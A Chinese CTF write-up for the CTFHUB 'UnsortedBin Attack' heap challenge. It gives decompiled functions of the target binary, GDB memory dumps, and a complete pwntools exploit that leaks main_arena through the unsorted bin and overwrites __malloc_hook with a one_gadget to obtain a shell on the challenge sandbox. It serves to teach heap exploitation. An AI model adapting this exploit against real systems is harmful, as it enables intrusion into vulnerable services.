[原创][writeup]CTFHUB-UnsortedBin Attack
2023-3-13 17:46:26 Author: bbs.pediy.com(查看原文) 阅读量:10 收藏

[原创][writeup]CTFHUB-UnsortedBin Attack

6天前 1517

[原创][writeup]CTFHUB-UnsortedBin Attack

目录

IDA静态分析

伪代码分析

main()函数

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)

{

  init(argc, argv, envp);

  interface();

}

void __noreturn interface()

{

  int choice; // [rsp+4h] [rbp-Ch] BYREF

  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);

  while ( 1 )

  {

    while ( 1 )

    {

      menu();

      __isoc99_scanf("%d", &choice);

      if ( choice != 1 )

        break;

      add();

    }

    switch ( choice )

    {

      case 2:

        delete();

        break;

      case 3:

        show();

        break;

      case 4:

        edit();

        break;

      case 1024:

        if ( magic > 28800 )

          system("/bin/sh");

        break;

      default:

        exit(-1);

    }

  }

}

add()函数

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

unsigned __int64 add()

{

  unsigned int inputSize; // [rsp+4h] [rbp-101Ch] BYREF

  unsigned int index; // [rsp+8h] [rbp-1018h]

  unsigned int v3; // [rsp+Ch] [rbp-1014h]

  char v4[4096]; // [rsp+10h] [rbp-1010h] BYREF

  unsigned __int64 v5; // [rsp+1018h] [rbp-8h]

  v5 = __readfsqword(0x28u);

  memset(v4, 0, sizeof(v4));

  for ( index = 0; index <= 9; ++index )

  {

    if ( !*(&heapList + index) )

    {

      v3 = index;

      break;

    }

  }

  if ( index == 11 )

  {

    puts("wrong");

    exit(0);

  }

  puts("Size: ");

  __isoc99_scanf("%d", &inputSize);

  if ( inputSize > 0x500 )

    inputSize = 1280;

  *(&heapList + v3) = malloc(inputSize);

  Size[v3] = inputSize;

  puts("Content: ");

  read(0, *(&heapList + v3), inputSize);

  return __readfsqword(0x28u) ^ v5;

}

delete()函数

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

unsigned __int64 delete()

{

  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF

  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);

  puts("Index:");

  __isoc99_scanf("%d", &index);

  if ( index > 0xB )

  {

    puts("wrong");

    exit(0);

  }

  free(*(&heapList + index));

  *(&heapList + index) = 0LL;

  Size[index] = 0;

  return __readfsqword(0x28u) ^ v2;

}

show()函数

1

2

3

4

5

6

7

8

9

10

11

12

unsigned __int64 show()

{

  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF

  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);

  puts("Index:");

  __isoc99_scanf("%d", &index);

  if ( *(&heapList + index) )

    printf("Content: %s\n", (const char *)*(&heapList + index));

  return __readfsqword(0x28u) ^ v2;

}

edit()函数【利用点-堆溢出】

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

unsigned __int64 edit()

{

  int nbytes; // [rsp+0h] [rbp-10h] BYREF

  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF

  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);

  puts("Index:");

  __isoc99_scanf("%d", &index);

  puts("Size:");

  __isoc99_scanf("%d", &nbytes);

  if ( Size[index] >= nbytes )

  {

    if ( *(&heapList + index) )

    {

      puts("Content:");

      read(0, *(&heapList + index), (unsigned int)nbytes);

    }

    else

    {

      puts("wrong");

    }

  }

  else

  {

    puts("wrong!");

  }

  return __readfsqword(0x28u) ^ v3;

}

GDB调试分析

全局变量上方内存区,我们本次不利用此块内容

1

2

3

4

5

6

7

8

9

10

11

12

13

pwndbg> x/30gx 0x6020AC-0x1f

0x60208d:    0xfff7bc38e0000000    0x000000000000007f

0x60209d:    0xfff7bc4540000000    0x000000000000007f

0x6020ad <magic+1>:    0x0000000000000000    0x0000000000000000

0x6020bd:    0x0000000000000000    0x0000000000000000

0x6020cd <ptr+13>:    0x0000000000000000    0x0000000000000000

0x6020dd <ptr+29>:    0x0000000000000000    0x0000000000000000

0x6020ed <ptr+45>:    0x0000000000000000    0x0000000000000000

0x6020fd <ptr+61>:    0x0000000000000000    0x0000000000000000

0x60210d <ptr+77>:    0x0000000000000000    0x0000000000000000

0x60211d:    0x0000000000000000    0x0000000000000000

0x60212d <Size+13>:    0x0000000000000000    0x0000000000000000

0x60213d <Size+29>:    0x0000000000000000    0x0000000000000000

mallocHook上方内存区

1

2

3

4

5

6

pwndbg> x/30gx 0x7ffff7bc3b10-0x30

0x7ffff7bc3ae0 <_IO_wide_data_0+288>:    0x0000000000000000    0x0000000000000000

0x7ffff7bc3af0 <_IO_wide_data_0+304>:    0x00007ffff7bc2260    0x0000000000000000

0x7ffff7bc3b00 <__memalign_hook>:    0x00007ffff78853f0    0x00007ffff7884fd0

0x7ffff7bc3b10 <__malloc_hook>:    0x00007ffff7884e00    0x0000000000000000

0x7ffff7bc3b20 <main_arena>:    0x0000000000000000    0x0000000000000000

FakeChunk选址

1

2

3

4

5

6

pwndbg> x/30gx 0x7ffff7bc3b20-0x33

0x7ffff7bc3aed <_IO_wide_data_0+301>:    0xfff7bc2260000000    0x000000000000007f

0x7ffff7bc3afd:    0xfff78853f0000000    0xfff7884fd000007f

0x7ffff7bc3b0d <__realloc_hook+5>:    0xfff7884e0000007f    0x000000000000007f

0x7ffff7bc3b1d:    0x0000000000000000    0x0000000000000000

0x7ffff7bc3b2d <main_arena+13>:    0x0000000000000000    0x0000000000000000

分析总结

虽然这题叫UnsortedBin Attack,但是甚至可以用上一题的exp来打通,不是很理解为什么要在interface函数中设置magic这个后门,不过为了符合出题人的要求,所以还是单独用UnsortedBin Attack来做一次

假如不存在全局变量heapList;magic,目前不知道需要申请FakeChunk到哪个位置,所以需要使用Unsorted Bin来泄露main_Arena的地址

可利用漏洞

  • 整数溢出漏洞
  • 堆溢出漏洞

1.UnsortedBin Attack | Leak mainArena

利用思路

根据分析可知:

  • add()函数允许用户申请10个不大于0x500的heap
  • edit()函数中存在堆溢出漏洞
  • __malloc_hook()函数位于main_arena-0x10
  • __malloc_hook()函数上方存在可用于构造FakeChunk的内存区

利用流程

  1. 申请3块大小为0x60chunk#0 chunk#1 chunk#2、申请1块大小为0x400chunk#3、再申请一块大小为0x60chunk#4
  2. 释放chunk#3使其进入unsorted bin,此时chunk#3->fd指向main_arena
  3. 通过edit()函数填充chunk#2chunk#3->size
  4. 使用show()函数打印chunk#2并泄露出main_arena后计算出__malloc_hookLibcBase
  5. 使用FastBin Attack篡改__malloc_hook使其指向oneGadget

利用原理

FreeChunkunsorted bin一链表中唯一元素时,该FreeChunk->fd FreeChunk->bk均指向main_arena+offset,经过调试得知该offset=88;__malloc_hook = main_arena-0x10,经过上述分析已知__malloc_hook上方可构造FakeChunk以劫持__malloc_hook

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

from pwn import *

prog = "./pwn"

local = False

context(os='linux', arch='amd64', log_level='debug')

elf = ELF("./pwn")

libc = ELF("./libc-2.23.so")

if local:

    p = process(prog)

    libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")

    gdb.attach(p)

    sleep(1)

else:

    p = remote("challenge-201a3ecdccce276e.sandbox.ctfhub.com",29865)

def add(size):

    p.sendlineafter(">> ","1")

    p.sendlineafter("Size: \n",str(size))

    p.sendafter("Content: \n",b"\x00")

def show(index):

    p.sendlineafter(">> ","3")

    p.sendlineafter("Index:\n",str(index))

def dele(index):

    p.sendlineafter(">> ","2")

    p.sendlineafter("Index:\n",str(index))

def edit(index,content):

    p.sendlineafter(">> ","4")

    p.sendlineafter("Index:\n",str(index))

    p.sendlineafter("Size:\n","-1")

    p.sendafter("Content:\n",content)

fakeChunk = 0x60208d

add(0x60)

add(0x60)

add(0x60)

add(0x400)

add(0x60)

dele(3)

payload = b"A"*0x70

edit(2,payload)

show(2)

mainArena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))

print("mainArena ===========> {}".format(hex(mainArena)))

mallocHook = mainArena-0x10-88

libcBase = mallocHook - libc.sym['__malloc_hook']

oneGadGet = 0xf1247 + libcBase

fakeChunk = mallocHook - 0x23

payload = b"\x00"*0x60

payload += p64(0)

payload += p64(0x411)

edit(2,payload)

dele(2)

dele(1)

payload = b"A"*0x60

payload += p64(0)

payload += p64(0x71)

payload += p64(fakeChunk)

edit(0,payload)

add(0x60)

add(0x60)

payload = b"A"*0x13

payload += p64(oneGadGet)

edit(2,payload)

p.interactive()

p.close()

关于通过 Unsorted Bin 泄露地址的补充

本题的重点是通过Unsorted Bin来泄露main_arena,具体泄露方式需要参照题目的show()函数运作方式,例如本题是以字符串来输出heap中内容,我们只需要把内存填充至fd\bk指针即可

举个其它show()函数形式的例子:write(0,heapList[index]+16,*heapList[index]+8)

该情况下泄露思路如下

  1. 申请一块0x60大小的chunk#0
  2. 申请一块0x40大小的chunk#1
  3. 申请一块0x400大小的chunk#2
  4. 通过堆溢出篡改chunk#1的size为0x60
  5. show(1)即可打印出chunk#2的fd和bk

本题易错点

可以注意到在完成泄露准备释放chunk#2 chunk#1时对chunk#3->heapHeader进行了一次还原,若不作此操作,将会触发报错

*** Error in `./pwn': free(): invalid next size (fast): 0x0000000001a530f0 ***

可以注意到是在free()函数时的错误,若进入glibc源码中搜索invalid next size (fast)可以找到触发该报错的函数是_int_free,以下是触发该报错的检查源码

1

2

3

fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ

            || chunksize (chunk_at_offset (p, size)) >= av->system_mem);

        __libc_lock_unlock (av->mutex);

该检查会判断下一块chunk的大小是否小于 MINSIZE || 大于 system_mem,若符合则会报错,所以需要将下一个chunk的size修改成符合条件的值避免报错

LLVM与代码混淆技术

最后于 6天前 被LeaMov编辑 ,原因: 代码传错


文章来源: https://bbs.pediy.com/thread-276457.htm
如有侵权请联系:admin#unsafe.sh